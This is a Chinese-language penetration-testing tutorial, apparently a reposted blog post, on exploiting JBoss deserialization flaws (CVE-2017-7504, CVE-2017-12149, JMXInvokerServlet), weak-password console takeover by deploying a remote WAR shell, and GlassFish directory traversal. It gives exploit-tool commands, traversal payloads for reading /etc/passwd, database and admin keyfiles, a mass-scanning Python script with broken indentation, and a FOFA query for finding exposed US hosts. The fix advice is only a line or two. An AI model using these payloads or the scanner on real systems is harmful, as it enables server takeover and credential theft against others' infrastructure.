中间件安全JBoos&反序列化&弱口令&Glassfish读取&CVE

Posted 遗憾zzz

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了中间件安全JBoos&反序列化&弱口令&Glassfish读取&CVE相关的知识,希望对你有一定的参考价值。

一、认识JBoss

JBoss 是一个基于 J2EE 的开发源代码的应用服务器。 JBoss 代码遵循 LGPL 许可,可以在任何商业应用中免费使用。 JBoss 是一个管理 EJB 的容器和服务器,支持 EJB1.1 、 EJB 2.0 和 EJB3 的规范。但 JBoss 核心服务不包括支持 servlet/JSP 的 WEB 容器,一般与 Tomcat 或 Jetty 绑定使用。
默认端口 :8080,9990

二、JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)

Red Hat JBoss Application Server 是一款基于JavaEE的开源应用服务器。JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。

参考:
https://github.com/joaomatosf/JavaDeserH2HC
https://www.youtube.com/watch?v=jVMr4eeJ2Po

漏洞复现
环境搭好如下

该漏洞出现在/jbossmq-httpil/HTTPServerILServlet请求中,若访问200,则可能存在漏洞。

使用 https://github.com/joaomatosf/jexboss 漏洞利用工具

命令如下:
git clone https://github.com/joaomatosf/jexboss.git
cd jexboss
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080

工具环境搭好之后自己 python jexboss.py -host http://192.168.111.130:8080/



注意:如果漏洞ip在公网那么工具也需要在外网使用
修复:升级版本

三、JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)

该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。

参考:
https://mp.weixin.qq.com/s/zUJMt9hdGoz1TEOKy2Cgdg
https://access.redhat.com/security/cve/cve-2017-12149

该漏洞出现在/invoker/readonly请求中,若显示HTTP status 500,则说明漏洞可能存在
,服务器将用户提交的POST内容进行了Java反序列化

漏洞复现

返回500说明可能存在漏洞
漏洞利用工具:https://github.com/yunxu1/jboss-_CVE-2017-12149



执行完命令是root权限,修复建议:升级版本或不需要的http-invoker.sar组件,删除此组件

四、JBoss JMXInvokerServlet 反序列化漏洞

这是经典的JBoss反序列化漏洞,JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。
影响:Jboss 4.X,访问 /invoker/JMXInvokerServlet访问若提示下载,则可能存在漏洞。

参考文档:
https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
https://www.seebug.org/vuldb/ssvid-89723
http://www.freebuf.com/sectool/88908.html
https://paper.seebug.org/312/

漏洞复现
环境搭建好直接访问 /invoker/JMXInvokerServlet访问提示下载,说明存在反序列化漏洞

这个漏洞还是和CVE-2017-12149一样用同一个工具就行

执行命令root权限,修复建议:升级版本

五、JBoos-弱口令安全-4.X&5.X&6.X

Jboss4.x及其之前的版本 console 管理路径为/jmx-console//web-console/,密码存储:/opt/jboss/jboss4/server/default/conf/props/jmx-console-users.properties

Jboss5.x开始弃用了 web-console ,增加了admin-console
Jboss5.x/6.x版本console路径为/jmx-console//admin-console/,密码存储:jboss/server/default/conf/props/jmx-console-users.properties

1.Jboss4.x弱口令后台getshell复现
由于本地测试看一下它密码存储的位置文件


账号密码admin

然后我们登陆抓下一把

发现跟tomcat的登陆机制一样也是base64加密,这里就不演示了,现在就进入后台getshell


在这里部署一个远程的war地址包,让这个jboss服务器请求访问下载,就能getshell

生成war包

jar -cvf shell.war 1.jsp

开启http远程服务

python -m http.server


添加远程地址



哥斯拉连接

2.JBoos 5/6.X 弱口令后台getshell复现
可以明显看到界面发生了更改

find / -name jmx-console-users.properties


弱口令账号admin、密码vulhub





直接上传war包getshell


反弹shell试试


反弹shell成功,权限root

六、GlassFish 任意文件读取漏洞

漏洞原理
java语言中会把%c0%ae解析为\\uC0AE,最后转义为ASCCII字符的.(点)。利用%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/来向上跳转,达到目录穿越、任意文件读取的效果。
影响: <=4.1.2 版本
危害:可配和读取密码后登录Glassfish管理中心实现Getshell

参考:https://blog.csdn.net/qq_36241198/article/details/115110603
           https://www.freebuf.com/vuls/283806.html

漏洞复现
Fofa信息收集:“glassfish” && port=“4848” && country=“US”
Poc python code:


import requests,time

win_poc='/theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini'
linux_poc='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd'

for ip in open('ips.txt'):
    ip=ip.replace('\\n','')
    vul_windows=ip+win_poc
    vul_linux=ip+linux_poc
try:
print('check->'+ip)
        win_code=requests.get(vul_windows).status_code
        linux_code = requests.get(vul_linux).status_code
if win_code==200 or linux_code==200:
print(ip+'|有漏洞')
except Exception as err:
print('connecting error')

访问https://192.168.111.130:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd,发现已成功读取/etc/passwd内容:

获取数据库密码:
/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/domains/domain1/config/domain.xml

获取glassfish的后台密码:
/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/domains/domain1/config/admin-keyfile

本环境超级管理员密码在docker-compose.yml中设置,默认为vulhub_default_password,在4848端口利用该密码可以登录管理员账户。这里我把密码改成了admin,登陆后台getshell



即可getshell


以上是关于中间件安全JBoos&反序列化&弱口令&Glassfish读取&CVE的主要内容,如果未能解决你的问题,请参考以下文章

JBOOS反序列化漏洞复现

CVE-2017-12149 JBOOS AS 6.X 反序列化漏洞利用--自测

Java安全-Java Vuls(FastjsonWeblogic漏洞复现)

web安全弱口令&爆破&协议对象&字典生成

[漏洞复现] [Vulhub靶机] Tomcat7+ 弱口令 && 后台getshell漏洞

中间件内存马注入&冰蝎连接(附更改部分代码)